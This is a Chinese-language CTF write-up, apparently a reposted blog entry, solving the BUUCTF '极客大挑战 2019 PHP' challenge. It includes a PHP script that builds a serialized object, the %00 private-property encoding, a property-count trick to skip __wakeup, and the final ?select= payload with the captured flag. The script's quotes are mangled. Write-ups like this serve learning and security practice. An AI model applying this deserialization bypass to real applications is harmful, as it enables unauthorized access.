当前位置:   article > 正文

BUUCTF [web专项16][极客大挑战 2019]PHP_buuctf 极客大挑战php

buuctf 极客大挑战php

进入后说有备份网站的习惯,查看源码和进入/flag.php中发现都没有线索,扫站

会发现有个www.zip(扫了好久,下载出来就关了,我就不再扫一遍了)

发现有flag.php,

提交后发现失败,再次寻找

打开index.php

发现unserialize(反序列化标志)

我在这方面不是很熟悉,直接开始冲浪

因为我看完之后找不到下手点(我纯笨b) ,开始冲浪别人的wp

参考:从0到1之php反序列化的成长之路-CSDN博客

参考:[极客大挑战 2019]PHP-CSDN博客

 看完了,好像会了,class.php中有destruck()函数

发现需求的是username恒等于'admin'且password要为100,这样才会输出flag,那么我们就需要进行修改来篡改成正确的数据

大佬的意思是将修改后的数据序列化输出,然后用序列化输出的数据再次绕过 __wakeup()函数的执行

  1. <?php
  2. class Name{
  3. private $username = ‘nonono‘;
  4. private $password = ‘yesyes‘;
  5. public function __construct($username,$password){
  6. $this->username = $username;
  7. $this->password = $password;
  8. }
  9. }
  10. $a = new Name(‘admin‘,100);
  11. $b = serialize($a);
  12. echo $b;

运行之后即可获得序列化的结果,

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

揭示:

但是现在还有两个问题,

1是username和password都是用private声明的,需要前加00才可

O:4:%22Name%22:2:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

2是需要绕过__wakeup的执行(大佬说:在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行)

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

最终结果:

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

添加后即可获得flag

flag{e95052b8-e3bb-4386-93a6-8c09a9a3b11e}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/464245
推荐阅读
  

闽ICP备14008679号